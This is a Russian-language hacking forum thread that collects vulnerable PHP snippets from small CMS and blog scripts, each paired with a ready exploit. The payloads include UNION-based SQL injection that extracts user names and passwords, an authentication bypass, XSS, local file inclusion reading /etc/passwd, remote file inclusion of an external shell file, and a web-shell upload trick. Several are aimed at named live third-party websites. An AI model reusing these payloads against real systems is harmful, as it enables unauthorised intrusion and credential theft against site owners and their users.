Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    The DBS, v0.8.0.0 beta r1.

    Файл comment.php

    PHP:
    $pid $_GET['pid'];
            
    $hLevel 0;
        }

        
    // Run security checks on the post we are commenting on, to make sure we are allowed to comment on it
        
    $EntryQuery "SELECT * FROM posts WHERE `pid` = $pid";
    http://localhost/dbs/comment.php?pid=-1+union+select+1,version(),3,4,5,6,7,8,9--
     
    _________________________
    5 people like this.
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    From RoA with love

    Название: Gravity Board X
    Офф. сайт: http://www.gravityboardx.com
    Версия: 2.0 BETA (Public Release 3)

    Активная XSS.
    /index.php?action=newpm
    В поле Message(Сообщение).
    И отправляем.

    /index.php?action=postnew&board_id=[Номер категории]
    Имя: Bla
    Message:
    Пассивная XSS

    From RoA with love ;)
     
    2 people like this.
  3. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    idesk

    Bug - SQL injection
    Exploit:
    /**/and/**/1=2%20/**/union/**/all/**/select/**/1,2,3,version(),4,5,6,7,8--
    or
    1+UNION+SELECT+0,0,0,@@VERSION,0,0,0,0,0--

    Пример на сайте разработчика)))

    Code:
    http://www.nicecoder.com/support/download.php?cat_id=1/**/and/**/1=2%20/**/union/**/all/**/select/**/1,2,3,version(),4,5,6,7,8/*
    Дополнение от меня (автором данной баги не была указана такая информация ---

    idesk - table
    таблица idesk_user ((user_name, password)
    пример

    сайт разработчика -
    Code:
    http://idesk.ranacorp.com/download.php?cat_id=1+UNION+SELECT+0,0,0,concat_ws(0x3a,user_name,password,last_login),0,0,0,0,0+from+idesk_user--
     
    #183 [x60]unu, 10 Nov 2009
    Last edited: 10 Nov 2009
    5 people like this.
  4. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Simple PHP Agenda
    http://sourceforge.net/projects/php-agenda/
    SQL

    edit_event.php
    PHP:
    if (isset ($_GET["eventid"])) {
        
    $eventid mysql_real_escape_string($_GET["eventid"]);
        
    /* Get activity information */
        
    if ($singleAgenda)
            
    $sql "select * from events where id=$eventid";
        else
            
    $sql "select * from events where id=$eventid and user_id=" $session->id;
    http://localhost/php-agenda-2.2.7/edit_event.php?eventid=-1+union+select+1,2,3,version(),user(),6,7,8,9--
     
    3 people like this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    KubeBlog

    Раскрытие путей.
    /post.php?i[]=1
    content.php?i[]=1
    ?m=11&y[]=2009
    ?m[]=11&y=2009

    Пассивная XSS

    /login.php?ref=%22%3E%3Cscript%3Ealert();%3C/script%3E
     
    #185 Ctacok, 11 Nov 2009
    Last edited: 11 Nov 2009
    3 people like this.
  6. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    The Rat CMS
    http://downloads.sourceforge.net/the-rat-cms

    обход авторизации

    login.php
    PHP:
    $userId   $_POST['txtUserId'];
    $password $_POST['txtPassword'];

    // check if the user id and password combination exist in database
    $sql "SELECT user_id 
            FROM tbl_auth_user
            WHERE user_id = '
    $userId' AND user_password = PASSWORD('$password')";

    $result mysql_query($sql) or die('Query failed. ' mysql_error()); 

    if (
    mysql_num_rows($result) == 1) {
        
    // the user id and password match, 
        // set the session
        
    $_SESSION['db_is_logged_in'] = true;
        
        
    // after login we move to the main page
        
    header('Location: main.php');
        exit;
    } else {
        
    $errorMessage 'Sorry, wrong user id / password';
    }
    User Id : 1' or 1=1 limit 0,1 --
    Password : any


    SQL, XSS


    http://www.opennet.ru/base/netsoft/1214498363_15515.txt.html
     
    1 person likes this.
  7. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    IF CMS version 2.0.7 SQL injection

    Уязвимость хранится в скрипте frame.php:

    PHP:
    ...
    $id $_GET['id'];
    ...
    PHP:
    ...
    $result $dbi->sql_query("SELECT ban_trgt FROM ".$table->get('banner')." WHERE id_ban='$id'");
    ...
    Реализация:

    Code:
    localhost/ifcms/frame.php?id=[COLOR=YellowGreen][SQL][/COLOR]
    Для успешной реализации требуется magic_quotes = OFF.
    oRB, благодарю за доолнение.
     
    #187 Ins3t, 12 Nov 2009
    Last edited: 12 Nov 2009
    3 people like this.
  8. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Elusive CMS SQL injection

    Уязвим скрипт download.php

    PHP:
    ...
    $query "SELECT * FROM incomming where id='$id'";
    $result mysql_query($query) or die("Query failed");
    ...
    Реализация:
    Code:
    localhost/download.php?id=[COLOR=PaleGreen][SQL][/COLOR]
    Для успешной реализации - magic_quotes_gpc = off
     
    #188 Ins3t, 12 Nov 2009
    Last edited: 12 Nov 2009
    1 person likes this.
  9. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    Model Agency Manager PRO

    Bug : Sql Injection
    view.php?user_id=[SQL]
    Exploit :
    Code:
    1/**/and/**/1=0%20/**/union/**/all/**/select/**/concat_ws(char(42,42,42),version(),database(),user()),0,0,0/*
    or
    Code:
    1%20union%20select%20user(),2,3,4/*
    site:
    Code:
    http://www.fashionpage.com/view.php?user_id=408/**/and/**/1=0%20/**/union/**/all/**/select/**/concat_ws(char(42,42,42),version(),database(),user()),0,0,0/*&view=photos
     
  10. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    webSPELL CMS v4.0 Blind SQL injection

    Уязвимость затаилась в скрипте профиля (profile.php):

    PHP:
    ...
    if(
    $_GET['id']) {
    $id strip_tags($_GET['id']);

    //profil: buddys
    if($_GET['action'] == "buddys") {

    eval (
    "\$title_profile = \"".gettemplate("title_profile")."\";");
    echo 
    $title_profile;

    $buddys=safe_query("SELECT buddy FROM ".PREFIX."buddys WHERE userID='$id'");
    ...
    Единственной попыткой защитить свое "детище" программисты сделали фильтрацию пережаваемого ГОТом значния с помощю функции strip_tags(), которая как известно удаляет HTML и PHP теги из строки.

    Реализация:

    Code:
    http://localhost/1/index.php?site=profile&id=1'+and+substring(version(),1,1)=5+and+'1'='1
    Code:
    http://localhost/1/index.php?site=profile&id=1'+and+ascii(lower(substring(user(),1,1)))=114+and+'1'='1
    
    Code:
    http://localhost/1/index.php?site=profile&id=1'+and+ascii(lower(substring(user(),2,1)))=111+and+'1'='1
    И так далее.

    Для удачной эксплаьации magic_quotes_gpc должно быть в положении off
     
    4 people like this.
  11. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    ShareCMS_0.1 Beta

    CMS просто ужасная, сплошная SQL инъекция.
    Уязвимы практически все скрипты.

    Возьмем к примеру tortf.php:

    PHP:
    ...
    $id $_GET['id'];
    $sql mysql_query("SELECT admin FROM menu WHERE id = '$id'");
    $row mysql_fetch_array($sql);
    ...
    По просьбам трудящихся - удобная для юзера реализация:

    Code:
    http://localhost/8/plugins/tortf.php?id=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1--+
    Требуется mq = off

    СMS с возможностью реализации при mq = on ждите позже.
     
    #191 Ins3t, 13 Nov 2009
    Last edited: 13 Nov 2009
  12. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    http://www.cita.illinois.edu/
    демонстрация ARIA (Accessible Rich Internet Applications)
    RFI

    source_inline.php
    PHP:
    $tpl = & new Template('../view/outer-inline-source.tpl');
    ...
    echo 
    $tpl->fetch();
    /view/outer-inline-source.tpl
    PHP:
     $ginc  $_GET['ginc'];
    ...
      if (
    preg_match ("/^\//"$ginc) || preg_match ("/\.\./"$ginc))
          
    $ginc "";
    ....

      include 
    $ginc;
    http://test.cita.uiuc.edu/aria/alert/view_inline.php?ginc=http://site.com/shell.txt
     
    3 people like this.
  13. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Z-BreakNews v0.1
    Далее судьба автора неизвестна.

    Думал нигде не встречу этой лабуды,но раз встретилось,напишу.

    file: single.php
    PHP:
    ...
    $row=mysql_fetch_array(mysql_query("SELECT * FROM news WHERE id=".$_GET['id']));
    ...
    target: single.php?id=1+union+select+1,2,3,4+--+4

    file:insert.php
    PHP:
    ...
    if ((
    $img1_type == $cert1) or ($img1_type == $cert2) or ($img1_type == $cert3))
    ...
    target: Меняем mime-type в заголовках,заливаем шелл.

    В довесок скажу, что никто не просит удалять install.php.
     
    #193 m0Hze, 14 Nov 2009
    Last edited: 14 Nov 2009
    2 people like this.
  14. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: 3MeMoS-phpNews
    Version: 1.1

    file: post_news_process.php
    PHP:
    ...
    $query "INSERT INTO news(title, news, author, date)
    VALUES('"
    .$_POST['title']."','".$_POST['news']."','".$_POST['author']."', now())";
    ...
    target: Подменяем $_POST['news'] or $_POST['title'] or $_POST['author'] на необходимый sql-inj запрос.Так как тут insertдело может немножно осложниться.
     
  15. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    mypage0.4
    http://qgotchi.sourceforge.net/index.php
    LFI


    index.php
    PHP:
    if(isset($_GET['page'])){
    ...
    $inhalt=$inhaltsordner."/".$_GET['page'];}
    ...
    $inhalt=str_replace("///","",$inhalt);
    if (
    FALSE==include$inhalt){echo$notfound;}
    http://qgotchi.sourceforge.net/index.php?page=../../../../../../../../etc/passwd
     
    1 person likes this.
  16. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    c Copyright 2007 - 2009 ..:: Exclusiva Limpeza Comercial Industrial LTDA ::..
    http://www.exclusivalimpeza.com.br
    allow_url_include = Off LFI
    allow_url_include = On RFI

    index.php
    PHP:
    if($incl=="")
    include 
    "meio.php";     
    else
    include 
    "${incl}.php";
    magic_quotes_gpc = Off
    http://www.exclusivalimpeza.com.br/index.php?incl=../../../../../../../../etc/passwd%00
     
    1 person likes this.
  17. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: Новости 0.1а
    Version: 0.1а
    Author: [email protected]

    file: comments.php
    PHP:
    string 9$id $_GET['id'];
    ...
    string 11$query "SELECT * FROM news WHERE id=$id";
    ...
    string 28$query "SELECT * FROM news_comments WHERE id_news=$id";
    ...
    target: comments.php?id={SQL-inj}

    file: edit.php
    PHP:
    ....
    $news $_GET['news'];
    $id $_GET['id'];
    $id2 $_GET['id2'];

    if(
    $news!="")
        {
            
    $query "UPDATE news SET news='$news' WHERE id=$id2";
            
    $result mysql_query ($query);    
        }
    ....
    if(
    $id>0)
    {
        
    $query "SELECT * FROM news WHERE id=$id";
        
    $result mysql_query($query);
    target: edit.php?id2={SQL-inj} or edit.php?id={SQL-inj}

    //Незнаю кто автор этого чуда,но в каталоге сриптов он есть oO
     
    4 people like this.
  18. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    TheContactBook.v.beta.3.2
    http://sourceforge.net/projects/thecontactbook/files/TheContactBook.v.beta.3.2.zip/download
    SQL

    popup.php
    PHP:
    $id $_GET["id"];
    TableManipulation.class.php
    PHP:
    private function getContact($id) {
    $SQL "SELECT * FROM "._MYSQLTABLE_." WHERE "._PKEY_."=$id";
    $result $this->db->query($SQL);
    if (
    $result->countRows()>0) {    return $result->fetchRow(); }
    http://localhost/TheContactBook.v.beta.3.2/TheContactBook/popup.php?status=details&id=-5+union+select+user(),version(),3,4,5,6,7,8,9,10,11+--+
     
    2 people like this.
  19. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: SuLogu
    Author: unnamed
    Version: 0.6.2

    LFI

    file: comments.php
    PHP:
    ...
    if (!
    $language) {
        
    // try to set the user's preferred language from a previous cookie
        
    if ($_COOKIE['bloglang']) {
            
    $language $_COOKIE['bloglang'];
        } else {
            
    $language $defaultlanguage;
            
    setcookie("bloglang"$defaultlanguage);
        }
    } else {    
    // language must exists among defined tags
        
    if (!languageexists($language)) {
            
    $language $defaultlanguage;
            
    setcookie("bloglang"$defaultlanguage);
        }
    }

    // Include corresponding language file.
    include("language/" $language ".php");
    ...
    target: Отправляем поддельный запрос на сервер,и подставляем в COOKIES: bloglang={LFI}'%00; За пределы директории у меня не вышел,возможно вам повезет больше :)

    Также там множество SQL-inj, но разработчики просто удивляют нас,тем что расчитывают,что везде будет включено registers_global.
    Например:


    file: index.php
    PHP:
    ...
    function 
    imagenavmenu($id$page) {
        global 
    $showall$language;

        
    $res mysql_query("SELECT id FROM blogimages WHERE id < " $id " ORDER BY id DESC LIMIT 1");
    ...
    Но $id нигде не будет объявляться,так что скрипт,как и SQL-inj убдет работать только на registers_global = on;
    ?id=-1+union+select+1,2,3,4,version(),6,7/*
     
    #199 m0Hze, 15 Nov 2009
    Last edited: 15 Nov 2009
  20. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    EasyNEWS SQL injection

    easynews.php:

    PHP:
    ...
    if (isset(
    $_GET['id'])) {
        
    $id $_GET['id'];
        
    $query 'SELECT * FROM `'.$table_name.'` WHERE newstime='.$id.'';
    ...
    Эксплаьация:

    Code:
    http://localhost/10/easynews.php?id=1+union+select+1,version(),3,4,5,6--+
     
    3 people like this.